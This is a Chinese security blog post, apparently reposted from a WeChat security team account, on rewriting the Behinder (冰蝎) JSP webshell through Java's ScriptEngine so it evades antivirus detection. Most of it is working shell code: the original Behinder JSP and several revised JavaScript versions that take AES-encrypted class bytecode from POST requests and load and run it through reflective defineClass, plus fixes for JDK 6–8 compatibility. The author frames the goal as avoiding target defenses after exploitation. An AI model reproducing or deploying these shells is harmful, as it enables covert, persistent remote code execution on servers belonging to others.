通过ScriptEngine实现冰蝎shell免杀

admin 2023年9月11日00:58:06评论12 views字数 6313阅读21分2秒阅读模式



漏洞利用后一般需要拿shell,如果shell不免杀可能容易触发目标的防护,甚至去溯源捕获我们的0day,所以做一个免杀的shell是有必要的,今天刚好看到一种新型Java一句话木马的实现文章,可以通过ScriptEngine来执行我们的代码,由于这种方式执行代码的语法和之前jsp马的实现有些不同,所以可以通过这种方式改写shell来实现免杀。

在要通过ScriptEngine改写shell之前,首先我们要了解冰蝎shell做了什么?

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{ //定义类U并继承ClassLoader
U(ClassLoader c){
super(c) // 构造方法,执行父类ClassLoader的构造方法
;}
public Class g(byte []b){ //执行defineClass方法
return super.defineClass(b,0,b.length);}
}%>
<%
if (request.getMethod().equals("POST")){ //判断请求类型
String k="e45e329feb5d925b";
session.putValue("u",k); //将key写入到session
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); //初始化AES解码器
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())) //将接收的内容base64解码后进行aes解密
) //创建ClassLoader对象,并调用ClassLoader.defineClass方法将接收的字节码转换为class类。
.newInstance().equals(pageContext);}%> //创建该类对象并调用该对象的equals方法

下面了解下如何通过ScriptEngine执行JS代码,DEMO如下:

ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
String test666="print(2+2)";
engine.eval(test666);

下面实现Import的功能,由于JDK8使用importPackage需要通过load进行导入mozilla_compat.js,但JDK7则没有load函数,所以使用下面的语句import在JDK7下运行会报错。

ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
String test666="load("nashorn:mozilla_compat.js");importPackage("java.util.*,javax.crypto.*,javax.crypto.spec.*")";
engine.eval(test666);

可以在load语句处加上异常处理,那么无论load执行是否成功都不会影响后续程序的执行,所以导入数据包的代码如下。

try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);

按照冰蝎shell的代码,接下来要定义一个类并实现ClassLoader,但是查了下ScriptEngine的文档,好像没有定义类的操作,但我们仔细想想,其实也不是非要定义一个类不可,只不过是想调用defineClass加载我们传入的类的字节码,所以我们可以直接通过反射调用defineClass方法。下面代码参考一种新型Java一句话木马的实现

function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor().newInstance();
}

由于冰蝎客户端需要一些对象,所以在创建ScriptEngine后需要绑定对象。

ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.put("session", session);
engine.put("pageContext", pageContext);

剩下的似乎没有什么难点,我直接给出我改写后的内容

try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var byteArray = Java.type("byte[]");
var int = Java.type("int");
var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
"defineClass",
byteArray.class,
int.class,
int.class
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
return cc.getConstructor().newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k="39236cce7e199d43";
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
}

在使用的时候遇到了一个BUG,第一次请求正常,第二次请求会爆类重复加载的异常。

通过ScriptEngine实现冰蝎shell免杀

经过排错,当通过反射调用时,每次调用defineClass使用的是WebAppClassLoader,这个Loader对于每个web应用是唯一的,下一次再去请求defineClass就会导致重复加载。

通过ScriptEngine实现冰蝎shell免杀

而使用冰蝎自带的马去请求,每次请求都会创建一个新的classloader,所以不会出现重复加载类的异常。

通过ScriptEngine实现冰蝎shell免杀

通过ScriptEngine实现冰蝎shell免杀

所以现在实现思路为在JSP中首先使用JAVA代码创建一个继承了ClassLoader的类,创建一个该类的对象,并将对象进行绑定,在JS中调用该对象定义的方法,下面是我在jdk8的实现。

try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var defineClassMethod =test2.getClass().getDeclaredMethod(
"g",
classBytes.getClass()
);
defineClassMethod.setAccessible(true);
var cc = defineClassMethod.invoke(
test2,
classBytes
);
cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k="39236cce7e199d43";
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())))
}

但在JDK6和7使用的解析引擎和JDK8是不同的,上面的代码不能使用,经过兼容性的修改,实现如下:

try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){
var defineClassMethod =test2.getClass().getDeclaredMethod("g",classBytes.getClass());
defineClassMethod.setAccessible(true);
var cc=defineClassMethod.invoke(test2,classBytes);
cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k=new java.lang.String("39236cce7e199d43");
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));
}

但这样实现会在invoke是爆一个类型转换异常。

通过ScriptEngine实现冰蝎shell免杀

经过排错,问题主要在sun.org.mozilla.javascript.internal.NativeJavaMethod#call函数中 ,这里会将我们反射方法需要的参数转换为Object[],但实际上我们传入的是byte[],byte[]显然不能转为Object[]。

通过ScriptEngine实现冰蝎shell免杀

又经过复杂的排错,发现是JS类型和JAVA的类型转换出现了错误,将classBytes通过new Array()转换一下就可以了,下面的代码兼容JDK78

try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.javax.crypto);
importPackage(Packages.sun.misc);
importPackage(Packages.javax.crypto.spec);
function define(classBytes){

var defineClassMethod =test2.getClass().getDeclaredMethod("g",classBytes.getClass());
print(defineClassMethod)
defineClassMethod.setAccessible(true);
var cc=defineClassMethod.invoke(test2,new Array(classBytes));
cc.newInstance().equals(pageContext);
}
if (request.getMethod().equals("POST")){
var k=new java.lang.String("39236cce7e199d43");
session.putValue("u",k);
var c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
define(c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())));
}

最后看下免杀效果。

通过ScriptEngine实现冰蝎shell免杀

总结

刚开始实现的时候以为这个实现很简单,没想到实际操作的时候遇到了很多问题,最终在瓜哥的指导下成功解决了版本兼容的问题。

参考

  • https://xz.aliyun.com/t/9715#toc-15


原文始发于微信公众号(雁行安全团队):通过ScriptEngine实现冰蝎shell免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月11日00:58:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过ScriptEngine实现冰蝎shell免杀http://cn-sec.com/archives/814928.html

发表评论

匿名网友 填写信息